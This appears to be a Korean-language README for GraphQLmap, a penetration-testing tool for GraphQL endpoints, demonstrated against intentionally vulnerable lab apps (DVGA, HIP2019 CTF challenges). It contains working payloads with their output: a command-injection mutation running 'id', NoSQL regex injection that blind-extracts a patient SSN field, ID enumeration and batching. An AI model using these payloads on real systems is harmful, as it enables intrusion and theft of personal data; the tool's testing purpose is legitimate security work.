
php7 및 php8용 보안 모듈 - 버그 클래스를 제거하고 나머지는 가상 패치!
GraphQLmap은 침투 테스트 목적으로 그래프QL 엔드포인트와 상호작용하기 위한 스크립팅 엔진입니다.
저는 풀 리퀘스트를 ❤️ 합니다. 이 스크립트를 개선해 주세요!
또한 GitHub Sponsoring 버튼을 사용하거나 실제로 🍻를 기부할 수 있습니다.
$ git clone https://github.com/swisskyrepo/GraphQLmap
$ python setup.py install
$ graphqlmap
_____ _ ____ _
/ ____| | | / __ \| |
| | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __
| | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \
| |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
\_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/
| | | |
|_| |_|
Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]]
optional arguments:
-h, --help show this help message and exit
-u URL URL to query : example.com/graphql?query={}
-v [VERBOSITY] Enable verbosity
--method [METHOD] HTTP Method to use interact with /graphql endpoint
--headers [HEADERS] HTTP Headers sent to /graphql endpoint
--json [USE_JSON] Use JSON encoding, implies POST
--proxy [PROXY] HTTP proxy to log requests
개발 설정
python -m venv .venv
source .venv/bin/activate
pip install --editable .
pip install -r requirements.txt
./bin/graphqlmap -u http://127.0.0.1:5013/graphql
⚠️ 예제는 HIP2019의 여러 CTF 문제를 기반으로 합니다.
# POST를 사용하여 인증 토큰 제공
graphqlmap -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'
# Burp Proxy를 통해 요청 전달
graphqlmap -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080
dump_new를 사용하여 GraphQL 스키마를 덤프합니다. 이 함수는 발견된 필드로 "자동 완성"을 자동으로 채웁니다.
🎥 라이브 예제
GraphQLmap > dump_new
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)
Query
doctor[]: email (String!),
doctors[Doctor]:
patients[Patient]:
patient[]: id (ID!),
allrendezvous[Rendezvous]:
rendezvous[]: id (ID!),
Doctor
id[ID]:
firstName[String]:
lastName[String]:
specialty[String]:
patients[None]:
rendezvous[None]:
email[String]:
password[String]:
[...]
GraphQL 요청을 작성하고 실행합니다.
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
{
"data": {
"doctors": [
{
"firstName": "Admin",
"id": "5d089c51dcab2d0032fdd08d",
"lastName": "Admin"
}
]
}
}
mutation에서도 작동하며, 한 줄로 작성해야 합니다.
# ./bin/graphqlmap -u http://127.0.0.1:5013/graphql --proxy http://127.0.0.1:8080 --method POST
GraphQLmap > mutation { importPaste(host:"localhost", port:80, path:"/ ; id", scheme:"http"){ result }}
{
"data": {
"importPaste": {
"result": "uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\n"
{
{
{
매개변수를 퍼징하려면 GRAPHQL_INCREMENT 및 GRAPHQL_CHARSET를 사용하세요.
🎥 라이브 예제
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
GRAPHQL_INCREMENT_ 뒤에 숫자를 사용하세요.
GraphQLmap > { paste(pId: "GRAPHQL_INCREMENT_10") {id,title,content,public,userAgent} }
[+] Query: (45) { paste(pId: "0") {id,title,content,public,userAgent} }
[+] Query: (245) { paste(pId: "1") {id,title,content,public,userAgent} }
[+] Query: (371) { paste(pId: "2") {id,title,content,public,userAgent} }
[+] Query: (309) { paste(pId: "3") {id,title,content,public,userAgent} }
[+] Query: (311) { paste(pId: "4") {id,title,content,public,userAgent} }
[+] Query: (308) { paste(pId: "5") {id,title,content,public,userAgent} }
[+] Query: (375) { paste(pId: "6") {id,title,content,public,userAgent} }
[+] Query: (315) { paste(pId: "7") {id,title,content,public,userAgent} }
[+] Query: (336) { paste(pId: "8") {id,title,content,public,userAgent} }
[+] Query: (377) { paste(pId: "9") {id,title,content,public,userAgent} }
GraphQLmap > { paste(pId: "9") {id,title,content,public,userAgent} }
{ paste(pId: "9") {id,title,content,public,userAgent} }
{
"data": {
"paste": {
"content": "I was excited to spend time with my wife without being interrupted by kids.",
"id": "UGFzdGVPYmplY3Q6OQ==",
"public": true,
"title": "This is my first paste",
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}
}
}
GraphQL은 요청 배칭을 지원합니다. 배치된 요청은 GraphQL에 의해 순차적으로 처리됩니다.
쿼리 앞에 BATCHING_PLACEHOLDER를 사용하여 단일 요청 내에서 여러 번 보냅니다.
GraphQLmap > BATCHING_3 {__schema{ types{namea}}}
[+] Sending a batch of 3 queries
[+] Successfully received 3 outputs
GraphQLmap > BATCHING_2 {systemUpdate}
[+] Sending a batch of 2 queries
[+] Successfully received 2 outputs
nosqli 함수를 위해 쿼리 내부에 BLIND_PLACEHOLDER를 사용하세요.
🎥 라이브 예제
GraphQLmap > nosqli
Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
Check > 5d089c51dcab2d0032fdd08d
Charset > 0123456789abcdef-
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
GraphQLmap >
GraphQLmap > postgresqli
GraphQLmap > mysqli
GraphQLmap > mssqli
docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga{
user {
edges {
node {
username
}
}
}
}